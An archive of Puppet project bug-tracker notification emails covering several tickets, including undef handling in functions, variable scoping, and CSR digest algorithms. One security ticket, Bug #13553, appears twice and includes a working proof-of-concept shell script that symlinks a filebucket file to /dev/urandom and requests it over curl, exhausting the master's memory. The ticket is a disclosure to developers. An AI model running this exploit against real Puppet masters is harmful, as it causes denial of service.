[Puppet] 'Downloading Puppet' wiki page has been updated
The 'Downloading Puppet' wiki page has been updated by Moses Mendoza. Downloading Puppet: https://projects.puppetlabs.com/projects/puppet/wiki/Downloading_Puppet View differences: https://projects.puppetlabs.com/projects/puppet/wiki/Downloading_Puppet/diff/157 -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13210] undef changes into '' when passed to function as a param
Issue #13210 has been updated by Chris Price.
I agree about the general strategy of never exposing :undef outside of our
walls... so, for this specific ticket, what we are talking about is changing
the current behavior where we translate undefs to '' before passing them to
functions; we'd pass nil instead. As far as I can tell, everyone seems in
relative agreement on that point.
Do we need to introduce a transition period with a deprecation warning? It
would certainly be the safest path forward if we are concerned about this
change breaking a lot of things, but it would postpone the ability for users
such as the author of this ticket to actually handle this type of use case.
So, the sooner we are able to introduce the change, the better.
Thoughts? Daniel / R.I. do you gentlemen have any ideas as to exactly how
large of an impact this change would have on the community?
Bug #13210: undef changes into '' when passed to function as a param
https://projects.puppetlabs.com/issues/13210#change-59005
Author: Timur Batyrshin
Status: Needs Decision
Priority: Normal
Assignee: Chris Price
Category:
Target version:
Affected Puppet version:
Keywords:
Branch:
Suppose we have a manifest like that:
pre
define foo ( $x = '1' ) {
notify { x${x}: }
}
class bar {
$x = myfunc( undef )
foo {'no1': x= $x }
}
class baz {
$x = undef
foo {'no2': x= $x }
}
include bar
include baz
/pre
With myfunc() defined like that:
pre
module Puppet::Parser::Functions
newfunction(:myfunc, :type = :rvalue) do |param|
return param
end
end
/pre
When applying the manifest we get the following output.
pre
notice: x
notice: /Stage[main]/Bar/Foo[no1]/Notify[x]/message: defined 'message' as 'x'
notice: x1
notice: /Stage[main]/Baz/Foo[no2]/Notify[x1]/message: defined 'message' as 'x1'
notice: Finished catalog run in 0.06 seconds
/pre
However the same message should be produced in both calls to foo.
--
You have received this notification because you have either subscribed to it,
or are involved in it.
To change your notification preferences, please click here:
http://projects.puppetlabs.com/my/account
--
You received this message because you are subscribed to the Google Groups
Puppet Bugs group.
To post to this group, send email to puppet-bugs@googlegroups.com.
To unsubscribe from this group, send email to
puppet-bugs+unsubscr...@googlegroups.com.
For more options, visit this group at
http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13210] undef changes into '' when passed to function as a param
Issue #13210 has been updated by R.I. Pienaar.
I think we'd def need a transition period which would have to incude us
auditing the stdlib and shipped functions for bad assumptions about input.
It's probably a terrible idea but we could catch NilClass style exceptions and
recall the function with nils as for some transition period? I have no idea
if this is a good idea, suspect not.
Bug #13210: undef changes into '' when passed to function as a param
https://projects.puppetlabs.com/issues/13210#change-59007
Author: Timur Batyrshin
Status: Needs Decision
Priority: Normal
Assignee: Chris Price
Category:
Target version:
Affected Puppet version:
Keywords:
Branch:
Suppose we have a manifest like that:
pre
define foo ( $x = '1' ) {
notify { x${x}: }
}
class bar {
$x = myfunc( undef )
foo {'no1': x= $x }
}
class baz {
$x = undef
foo {'no2': x= $x }
}
include bar
include baz
/pre
With myfunc() defined like that:
pre
module Puppet::Parser::Functions
newfunction(:myfunc, :type = :rvalue) do |param|
return param
end
end
/pre
When applying the manifest we get the following output.
pre
notice: x
notice: /Stage[main]/Bar/Foo[no1]/Notify[x]/message: defined 'message' as 'x'
notice: x1
notice: /Stage[main]/Baz/Foo[no2]/Notify[x1]/message: defined 'message' as 'x1'
notice: Finished catalog run in 0.06 seconds
/pre
However the same message should be produced in both calls to foo.
--
You have received this notification because you have either subscribed to it,
or are involved in it.
To change your notification preferences, please click here:
http://projects.puppetlabs.com/my/account
--
You received this message because you are subscribed to the Google Groups
Puppet Bugs group.
To post to this group, send email to puppet-bugs@googlegroups.com.
To unsubscribe from this group, send email to
puppet-bugs+unsubscr...@googlegroups.com.
For more options, visit this group at
http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13553] (Unreviewed) Puppet master can be cause to read data until it is out of memory
Issue #13553 has been reported by Andrew Parker. Bug #13553: Puppet master can be cause to read data until it is out of memory https://projects.puppetlabs.com/issues/13553 Author: Andrew Parker Status: Unreviewed Priority: High Assignee: Category: security Target version: Affected Puppet version: Keywords: Branch: Using the symlink attack described in Bug #13511 the puppet master can be caused to read from a stream (e.g. /dev/random) when either trying to save a file or read a file. Because of the way in which the puppet master deals with sending files on the filesystem to a remote system via a REST request the thread handling the request will block forever reading from that stream and continually consuming more memory. This can lead to the puppet master system running out of memory and cause a denial of service. Example exploit: pre #!/usr/bin/env sh MD5_TO_REQUEST='d41d8cd98f00b204e9800998ecf8427e' FILE_BUCKET_DIR=/tmp/buckets EXPLOIT_BUCKET=$FILE_BUCKET_DIR/d/4/1/d/8/c/d/9/$MD5_TO_REQUEST # Setup needed on the puppet master mkdir -p $EXPLOIT_BUCKET ln -sf /dev/urandom $EXPLOIT_BUCKET/contents # performaned from anywhere that has access to the keys curl --cert ~/work/test/conf/client/ssl/certs/systems-macbook-pro.local.pem\ --key ~/work/test/conf/client/ssl/private_keys/systems-macbook-pro.local.pem\ --cacert ~/work/test/conf/master/ssl/ca/ca_crt.pem\ -H 'Accept: yaml'\ https://localhost:8140/production/file_bucket_file/md5/$MD5_TO_REQUEST?bucket_path=$FILE_BUCKET_DIR /pre Note: this can also be done using the 'text/marshal' exploit of putting files described in Bug #13552 -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13349] (Accepted) Odd search order for manifests when names partially match
Issue #13349 has been updated by Chris Price.
Category changed from modules to language
Status changed from Re-opened to Accepted
Priority changed from Normal to High
Target version set to Telly
Wow, no. That is definitely a bug.
It appears to have been introduced in 2.6.3, the following commit:
commit 65ef24e5c1c33b7d42012891d368917fd6aaf68c
Author: Paul Berry p...@puppetlabs.com
Date: Fri Oct 8 15:26:28 2010 -0700
(#4534/#4778) -- Normalize parameterized classes
This is a reconciliation/melding of Paul's
(#4534) Class inheritance with parameterized classes is no longer
ignored
and Markus's
Fix for #4778 -- evaluate parameterized classes when they are
instantiated
Extracted the code from Resource::Type#mk_plain_resource that evaluates
parents and tags the catalog, and moved that into a new method called
instantiate_resource. Instantiate_resource is now also called from
Parser::Ast::Resource#evaluate, so that the notation
class { classname: }
now executes this code too. Likewise adds class evaluation so that it
behaves
the same (with regard to lazy / strict evaluation) as
include classname
Bug #13349: Odd search order for manifests when names partially match
https://projects.puppetlabs.com/issues/13349#change-59023
Author: Mark Dixon
Status: Accepted
Priority: High
Assignee:
Category: language
Target version: Telly
Affected Puppet version: 2.7.11
Keywords:
Branch:
I find that if I try and include manifest `bar::something` from within
`foo::test`, puppet preferentially finds `foo::bar::something` instead of
`bar::something`. Puppet 2.7.11.
Please consider the following puppet code which demonstrates this:
PRE
$ cat test.pp
class { 'foo::test': }
class foo::test {
class { 'bar::something': }
}
# /.*bar::something/ manifests
# - This is the one I thought I'd get
class bar::something {
notify { 'peep peep!': withpath = true }
}
# - This is the one that wins
class foo::bar::something {
notify { 'poop poop!': withpath = true }
}
/PRE
Running it gives:
PRE
$ puppet apply test.pp
notice: /Stage[main]/Foo::Bar::Something/Notify[poop poop!]/message: poop poop!
notice: /Stage[main]/Foo::Bar::Something/Notify[poop poop!]/message: defined
'message' as 'poop poop!'
notice: Finished catalog run in 0.05 seconds
/PRE
Is this a bug?
Thanks,
Mark
--
You have received this notification because you have either subscribed to it,
or are involved in it.
To change your notification preferences, please click here:
http://projects.puppetlabs.com/my/account
--
You received this message because you are subscribed to the Google Groups
Puppet Bugs group.
To post to this group, send email to puppet-bugs@googlegroups.com.
To unsubscribe from this group, send email to
puppet-bugs+unsubscr...@googlegroups.com.
For more options, visit this group at
http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13210] undef changes into '' when passed to function as a param
Issue #13210 has been updated by Chris Price.
Added Jeff as a watcher--Jeff, any thoughts about how this would impact stdlib?
Bug #13210: undef changes into '' when passed to function as a param
https://projects.puppetlabs.com/issues/13210#change-59024
Author: Timur Batyrshin
Status: Needs Decision
Priority: Normal
Assignee: Chris Price
Category:
Target version:
Affected Puppet version:
Keywords:
Branch:
Suppose we have a manifest like that:
pre
define foo ( $x = '1' ) {
notify { x${x}: }
}
class bar {
$x = myfunc( undef )
foo {'no1': x= $x }
}
class baz {
$x = undef
foo {'no2': x= $x }
}
include bar
include baz
/pre
With myfunc() defined like that:
pre
module Puppet::Parser::Functions
newfunction(:myfunc, :type = :rvalue) do |param|
return param
end
end
/pre
When applying the manifest we get the following output.
pre
notice: x
notice: /Stage[main]/Bar/Foo[no1]/Notify[x]/message: defined 'message' as 'x'
notice: x1
notice: /Stage[main]/Baz/Foo[no2]/Notify[x1]/message: defined 'message' as 'x1'
notice: Finished catalog run in 0.06 seconds
/pre
However the same message should be produced in both calls to foo.
--
You have received this notification because you have either subscribed to it,
or are involved in it.
To change your notification preferences, please click here:
http://projects.puppetlabs.com/my/account
--
You received this message because you are subscribed to the Google Groups
Puppet Bugs group.
To post to this group, send email to puppet-bugs@googlegroups.com.
To unsubscribe from this group, send email to
puppet-bugs+unsubscr...@googlegroups.com.
For more options, visit this group at
http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13317] (Investigating) Storeconfig error with postgresql
Issue #13317 has been updated by Chris Price. Status changed from Needs More Information to Investigating Assignee changed from Svein Harald Soleim to Chris Price Bug #13317: Storeconfig error with postgresql https://projects.puppetlabs.com/issues/13317#change-59026 Author: Svein Harald Soleim Status: Investigating Priority: Normal Assignee: Chris Price Category: Target version: Affected Puppet version: 2.7.12 Keywords: Branch: I'm using CentOS 6.2 with http://yum.puppetlabs.com. When I run puppetmaster from init.d I get pgsql errors in the log: Mar 22 09:58:13 puppet puppet-master[7156]: could not connect to server: Permission denied#012#011Is the server running on host puppet.example.com and accepting#012#011TCP/IP connections on port 5432?#012could not connect to server: Permission denied#012#011Is the server running on host puppet.example.com and accepting#012#011TCP/IP connections on port 5432? But when I run it from commandline it seems to run fine puppet master --verbose --no-daemonize --masterport 8140 notice: Starting Puppet master version 2.7.12 info: access[^/catalog/([^/]+)$]: allowing 'method' find info: access[^/catalog/([^/]+)$]: allowing $1 access info: access[^/node/([^/]+)$]: allowing 'method' find info: access[^/node/([^/]+)$]: allowing $1 access info: access[/certificate_revocation_list/ca]: allowing 'method' find info: access[/certificate_revocation_list/ca]: allowing * access info: access[/report]: allowing 'method' save info: access[/report]: allowing * access info: access[/file]: allowing * access info: access[/certificate/ca]: adding authentication any info: access[/certificate/ca]: allowing 'method' find info: access[/certificate/ca]: allowing * access info: access[/certificate/]: adding authentication any info: access[/certificate/]: allowing 'method' find info: access[/certificate/]: allowing * access info: access[/certificate_request]: adding authentication any info: access[/certificate_request]: allowing 'method' find info: access[/certificate_request]: allowing 'method' save info: access[/certificate_request]: allowing * access info: access[/status]: adding authentication any info: access[/status]: allowing 'method' find info: access[/status]: allowing 'method' save info: access[/status]: allowing * access info: access[/]: adding authentication any info: access[/]: adding environment production info: access[/]: allowing * access info: Connecting to postgresql database: puppet info: Expiring the node cache of puppetnode2.example.com info: Not using expired node for puppetnode2.example.com from cache; expired at Thu Mar 22 10:06:51 +0100 2012 info: Caching node for puppetnode2.example.com The database also comfirms that the commandline works. I'm using the following gems: * abstract (1.0.0) * actionmailer (3.0.11) * actionpack (3.0.11) * activemodel (3.0.11) * activerecord (3.0.11) * activeresource (3.0.11) * activesupport (3.0.11) * arel (3.0.2, 2.0.10) * builder (3.0.0, 2.1.2) * bundler (1.1.2) * erubis (2.7.0, 2.6.6) * fastthread (1.0.7) * hike (1.2.1) * i18n (0.6.0, 0.5.0) * journey (1.0.3) * json (1.6.5) * mail (2.4.4, 2.2.19) * mime-types (1.18) * multi_json (1.1.0) * pg (0.13.2) * polyglot (0.3.3) * postgres (0.8.1) * rack (1.4.1, 1.2.5, 1.1.0) * rack-cache (1.2) * rack-mount (0.6.14) * rack-ssl (1.3.2) * rack-test (0.6.1, 0.5.7) * rails (3.2.2) * railties (3.2.2) * rake (0.9.2.2) * rdoc (3.12) * sprockets (2.1.2) * stomp (1.1.8) * thor (0.14.6) * tilt (1.3.3) * treetop (1.4.10) * tzinfo (0.3.32) -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13553] (Accepted) Puppet master can be cause to read data until it is out of memory
Issue #13553 has been updated by Andrew Parker. Status changed from Unreviewed to Accepted Assignee set to Andrew Parker Bug #13553: Puppet master can be cause to read data until it is out of memory https://projects.puppetlabs.com/issues/13553#change-59027 Author: Andrew Parker Status: Accepted Priority: High Assignee: Andrew Parker Category: security Target version: Affected Puppet version: Keywords: Branch: Using the symlink attack described in Bug #13511 the puppet master can be caused to read from a stream (e.g. /dev/random) when either trying to save a file or read a file. Because of the way in which the puppet master deals with sending files on the filesystem to a remote system via a REST request the thread handling the request will block forever reading from that stream and continually consuming more memory. This can lead to the puppet master system running out of memory and cause a denial of service. Example exploit: pre #!/usr/bin/env sh MD5_TO_REQUEST='d41d8cd98f00b204e9800998ecf8427e' FILE_BUCKET_DIR=/tmp/buckets EXPLOIT_BUCKET=$FILE_BUCKET_DIR/d/4/1/d/8/c/d/9/$MD5_TO_REQUEST # Setup needed on the puppet master mkdir -p $EXPLOIT_BUCKET ln -sf /dev/urandom $EXPLOIT_BUCKET/contents # performaned from anywhere that has access to the keys curl --cert ~/work/test/conf/client/ssl/certs/systems-macbook-pro.local.pem\ --key ~/work/test/conf/client/ssl/private_keys/systems-macbook-pro.local.pem\ --cacert ~/work/test/conf/master/ssl/ca/ca_crt.pem\ -H 'Accept: yaml'\ https://localhost:8140/production/file_bucket_file/md5/$MD5_TO_REQUEST?bucket_path=$FILE_BUCKET_DIR /pre Note: this can also be done using the 'text/marshal' exploit of putting files described in Bug #13552 -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13323] Issues with variable scoping.
Issue #13323 has been updated by Chris Price.
File deleted (13323.pp)
Bug #13323: Issues with variable scoping.
https://projects.puppetlabs.com/issues/13323#change-59032
Author: Trevor Vaughan
Status: Investigating
Priority: Normal
Assignee: Chris Price
Category:
Target version:
Affected Puppet version: 2.7.12
Keywords: ambiguity, variable, scope
Branch:
According to http://docs.puppetlabs.com/guides/scope_and_puppet.html, we should
be attempting to use fully qualified variable scoping across the board.
However, I've run into a situation where there appear to be some serious issues.
Example:
class foo ($var1 = 'something') {}
class foo::baz {
if $foo::var1 == 'something' { do something }
}
class bar {
$foo::var1 - does not exist because it looks in bar::foo
class { '::foo': var1 = 'baz' }
}
class bar::foo { stuff... }
The issue is that $::foo::var1 is NOT the same as $foo::var1 though both can be
successfully declared anywhere across the manifest space. This causes very
non-deterministic actions when using both variants though they should both
really be the same thing.
So, what is correct? Should we always use $::variable::thing or is the code
incorrect and they should both be valid at the top scope when there is no lower
scope overriding that variable?
--
You have received this notification because you have either subscribed to it,
or are involved in it.
To change your notification preferences, please click here:
http://projects.puppetlabs.com/my/account
--
You received this message because you are subscribed to the Google Groups
Puppet Bugs group.
To post to this group, send email to puppet-bugs@googlegroups.com.
To unsubscribe from this group, send email to
puppet-bugs+unsubscr...@googlegroups.com.
For more options, visit this group at
http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13323] (Needs Decision) Issues with variable scoping.
Issue #13323 has been updated by Chris Price.
File 13323-1.pp added
File 13323-2.pp added
Category set to language
Status changed from Investigating to Needs Decision
Assignee changed from Chris Price to Pieter van de Bruggen
Trevor, thanks, this helps clear up what you were seeing.
This is, currently, the expected behavior. Variable/name resolution for any
variable that isn't prefixed with a leading :: will look in the current
namespace first, and then the global namespace.
Whether or not this is the best long-term behavior is a different question;
handing this off to our design team, who are scheduled to do some work on our
DSL soon.
The two attached manifest files demonstrate the scope confusion; the second one
is identical to the first, but with the bar::foo class commented out to
demonstrate how the scope resolution is affected.
Bug #13323: Issues with variable scoping.
https://projects.puppetlabs.com/issues/13323#change-59033
Author: Trevor Vaughan
Status: Needs Decision
Priority: Normal
Assignee: Pieter van de Bruggen
Category: language
Target version:
Affected Puppet version: 2.7.12
Keywords: ambiguity, variable, scope
Branch:
According to http://docs.puppetlabs.com/guides/scope_and_puppet.html, we should
be attempting to use fully qualified variable scoping across the board.
However, I've run into a situation where there appear to be some serious issues.
Example:
class foo ($var1 = 'something') {}
class foo::baz {
if $foo::var1 == 'something' { do something }
}
class bar {
$foo::var1 - does not exist because it looks in bar::foo
class { '::foo': var1 = 'baz' }
}
class bar::foo { stuff... }
The issue is that $::foo::var1 is NOT the same as $foo::var1 though both can be
successfully declared anywhere across the manifest space. This causes very
non-deterministic actions when using both variants though they should both
really be the same thing.
So, what is correct? Should we always use $::variable::thing or is the code
incorrect and they should both be valid at the top scope when there is no lower
scope overriding that variable?
--
You have received this notification because you have either subscribed to it,
or are involved in it.
To change your notification preferences, please click here:
http://projects.puppetlabs.com/my/account
--
You received this message because you are subscribed to the Google Groups
Puppet Bugs group.
To post to this group, send email to puppet-bugs@googlegroups.com.
To unsubscribe from this group, send email to
puppet-bugs+unsubscr...@googlegroups.com.
For more options, visit this group at
http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13559] (Accepted) Telly requires a single console log output mechanism, but will have two after PMT merges up.
Issue #13559 has been reported by Daniel Pittman. Bug #13559: Telly requires a single console log output mechanism, but will have two after PMT merges up. https://projects.puppetlabs.com/issues/13559 Author: Daniel Pittman Status: Accepted Priority: Urgent Assignee: Pieter van de Bruggen Category: logging Target version: Telly Affected Puppet version: Keywords: Branch: While the PMT work was underway, a new console output mechanism was needed. This was added in 2.7.x, the stable series, as an addition used only in the PMT code itself. Now that has merged to the main tree, and we are starting to look at Telly, we need to have this fixed. We can't ship Telly with two log output mechanisms. -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet] 'RoadMap' wiki page has been updated
The 'RoadMap' wiki page has been updated by Daniel Pittman. RoadMap: https://projects.puppetlabs.com/projects/puppet/wiki/RoadMap View differences: https://projects.puppetlabs.com/projects/puppet/wiki/RoadMap/diff/29 -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Feature #13435] CSRs should be signed with SHA1, not MD5
Issue #13435 has been updated by Jeff Weiss. From what I can tell in the signing code, there's no explicit verification of the fingerprint of the CSR that's generated on the agent to what appears on the master. I believe that what is going on is that the agent generates a csr, fingerprints it, and displays it, so that when you run puppet cert list on the master you can say, Yep. that fingerprint matches. As it stands you can currently run code pre puppet cert list --digest sha1 /pre /code Changing lib/puppet/ssl/certificate_authority/interface.rb from :MD5 to :SHA1 will alter the default digest for codepuppet cert list/code. I ran this scenario: ### Master ### * PE 2.0.1 * Signing code unchanged ### Agent ### * PE 2.0.1 * Signing code changed from MD5 to SHA1 code pre [Agent]# puppet agent --test ... fingerprint (sha1) ... [Master]# puppet cert sign agent1.localdomain [Agent]# puppet agent --test /pre /code Result: successful agent communication Feature #13435: CSRs should be signed with SHA1, not MD5 https://projects.puppetlabs.com/issues/13435#change-59034 Author: Michael Smith Status: Accepted Priority: Normal Assignee: Jeff Weiss Category: SSL Target version: Affected Puppet version: 2.6.12 Keywords: Branch: The code in certificate_authority.rb uses SHA1 to issue certs, but the CSR generation code in certificate_request.rb signs the CSR using csr.sign(key, OpenSSL::Digest::MD5.new). I might be naive, but I figure this could be changed to SHA1 and get Puppet one step closer to working in FIPS mode (#8120). I couldn't find the spot in the CA code where the CSR signature is actually verified. I suppose the CA should probably check the CSR is signed using a recommended algorithm, but FIPS mode would take care of disabling other algorithms anyway so I'm not particularly worried. -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13210] undef changes into '' when passed to function as a param
Issue #13210 has been updated by Jeff McCune.
Chris Price wrote:
Added Jeff as a watcher--Jeff, any thoughts about how this would impact
stdlib?
I'm not sure other than checking the spec tests.
I've never seen a function that returns undef but I totally see the value nd
the need to be consistent with regard to casting arguments and return values.
Bug #13210: undef changes into '' when passed to function as a param
https://projects.puppetlabs.com/issues/13210#change-59041
Author: Timur Batyrshin
Status: Needs Decision
Priority: Normal
Assignee: Chris Price
Category:
Target version:
Affected Puppet version:
Keywords:
Branch:
Suppose we have a manifest like that:
pre
define foo ( $x = '1' ) {
notify { x${x}: }
}
class bar {
$x = myfunc( undef )
foo {'no1': x= $x }
}
class baz {
$x = undef
foo {'no2': x= $x }
}
include bar
include baz
/pre
With myfunc() defined like that:
pre
module Puppet::Parser::Functions
newfunction(:myfunc, :type = :rvalue) do |param|
return param
end
end
/pre
When applying the manifest we get the following output.
pre
notice: x
notice: /Stage[main]/Bar/Foo[no1]/Notify[x]/message: defined 'message' as 'x'
notice: x1
notice: /Stage[main]/Baz/Foo[no2]/Notify[x1]/message: defined 'message' as 'x1'
notice: Finished catalog run in 0.06 seconds
/pre
However the same message should be produced in both calls to foo.
--
You have received this notification because you have either subscribed to it,
or are involved in it.
To change your notification preferences, please click here:
http://projects.puppetlabs.com/my/account
--
You received this message because you are subscribed to the Google Groups
Puppet Bugs group.
To post to this group, send email to puppet-bugs@googlegroups.com.
To unsubscribe from this group, send email to
puppet-bugs+unsubscr...@googlegroups.com.
For more options, visit this group at
http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13210] undef changes into '' when passed to function as a param
Issue #13210 has been updated by Jeff McCune.
R.I. Pienaar wrote:
I'm in favour of making undef behave like ruby nil in templates and
functions, might be a painful transition but ultimately it means any
beginners guide to Ruby actually applies to our code where right now almost
every sysadmin who comes to Ruby via puppet finds it a rather painful
experience.
+1
A criticism I often received when training people was that Puppet is
inconsistent. I believe how we cast things to strings in functions,
particularly undef values, is a major contributor to this perception.
This is absolutely not something we should change in a minor release and
ideally we'll have a full major release where we give a deprecation warning
with clear steps to take for authors of functions and types.
Bug #13210: undef changes into '' when passed to function as a param
https://projects.puppetlabs.com/issues/13210#change-59042
Author: Timur Batyrshin
Status: Needs Decision
Priority: Normal
Assignee: Chris Price
Category:
Target version:
Affected Puppet version:
Keywords:
Branch:
Suppose we have a manifest like that:
pre
define foo ( $x = '1' ) {
notify { x${x}: }
}
class bar {
$x = myfunc( undef )
foo {'no1': x= $x }
}
class baz {
$x = undef
foo {'no2': x= $x }
}
include bar
include baz
/pre
With myfunc() defined like that:
pre
module Puppet::Parser::Functions
newfunction(:myfunc, :type = :rvalue) do |param|
return param
end
end
/pre
When applying the manifest we get the following output.
pre
notice: x
notice: /Stage[main]/Bar/Foo[no1]/Notify[x]/message: defined 'message' as 'x'
notice: x1
notice: /Stage[main]/Baz/Foo[no2]/Notify[x1]/message: defined 'message' as 'x1'
notice: Finished catalog run in 0.06 seconds
/pre
However the same message should be produced in both calls to foo.
--
You have received this notification because you have either subscribed to it,
or are involved in it.
To change your notification preferences, please click here:
http://projects.puppetlabs.com/my/account
--
You received this message because you are subscribed to the Google Groups
Puppet Bugs group.
To post to this group, send email to puppet-bugs@googlegroups.com.
To unsubscribe from this group, send email to
puppet-bugs+unsubscr...@googlegroups.com.
For more options, visit this group at
http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Bug #13210] (Accepted) undef changes into '' when passed to function as a param
Issue #13210 has been updated by Chris Price.
Status changed from Needs Decision to Accepted
Target version set to Telly
OK. I'm going to go ahead and just mark this ticket as accepted, and get the
deprecation warning added for Telly. That will give us some lead time to
figure out when we want to make the actual switch.
Thanks for all of the feedback.
Bug #13210: undef changes into '' when passed to function as a param
https://projects.puppetlabs.com/issues/13210#change-59043
Author: Timur Batyrshin
Status: Accepted
Priority: Normal
Assignee: Chris Price
Category:
Target version: Telly
Affected Puppet version:
Keywords:
Branch:
Suppose we have a manifest like that:
pre
define foo ( $x = '1' ) {
notify { x${x}: }
}
class bar {
$x = myfunc( undef )
foo {'no1': x= $x }
}
class baz {
$x = undef
foo {'no2': x= $x }
}
include bar
include baz
/pre
With myfunc() defined like that:
pre
module Puppet::Parser::Functions
newfunction(:myfunc, :type = :rvalue) do |param|
return param
end
end
/pre
When applying the manifest we get the following output.
pre
notice: x
notice: /Stage[main]/Bar/Foo[no1]/Notify[x]/message: defined 'message' as 'x'
notice: x1
notice: /Stage[main]/Baz/Foo[no2]/Notify[x1]/message: defined 'message' as 'x1'
notice: Finished catalog run in 0.06 seconds
/pre
However the same message should be produced in both calls to foo.
--
You have received this notification because you have either subscribed to it,
or are involved in it.
To change your notification preferences, please click here:
http://projects.puppetlabs.com/my/account
--
You received this message because you are subscribed to the Google Groups
Puppet Bugs group.
To post to this group, send email to puppet-bugs@googlegroups.com.
To unsubscribe from this group, send email to
puppet-bugs+unsubscr...@googlegroups.com.
For more options, visit this group at
http://groups.google.com/group/puppet-bugs?hl=en.
[Puppet - Feature #13435] (In Topic Branch Pending Review) CSRs should be signed with SHA1, not MD5
Issue #13435 has been updated by Jeff Weiss. Status changed from Accepted to In Topic Branch Pending Review Branch set to https://github.com/puppetlabs/puppet/pull/616 Feature #13435: CSRs should be signed with SHA1, not MD5 https://projects.puppetlabs.com/issues/13435#change-59044 Author: Michael Smith Status: In Topic Branch Pending Review Priority: Normal Assignee: Jeff Weiss Category: SSL Target version: Affected Puppet version: 2.6.12 Keywords: Branch: https://github.com/puppetlabs/puppet/pull/616 The code in certificate_authority.rb uses SHA1 to issue certs, but the CSR generation code in certificate_request.rb signs the CSR using csr.sign(key, OpenSSL::Digest::MD5.new). I might be naive, but I figure this could be changed to SHA1 and get Puppet one step closer to working in FIPS mode (#8120). I couldn't find the spot in the CA code where the CSR signature is actually verified. I suppose the CA should probably check the CSR is signed using a recommended algorithm, but FIPS mode would take care of disabling other algorithms anyway so I'm not particularly worried. -- You have received this notification because you have either subscribed to it, or are involved in it. To change your notification preferences, please click here: http://projects.puppetlabs.com/my/account -- You received this message because you are subscribed to the Google Groups Puppet Bugs group. To post to this group, send email to puppet-bugs@googlegroups.com. To unsubscribe from this group, send email to puppet-bugs+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-bugs?hl=en.
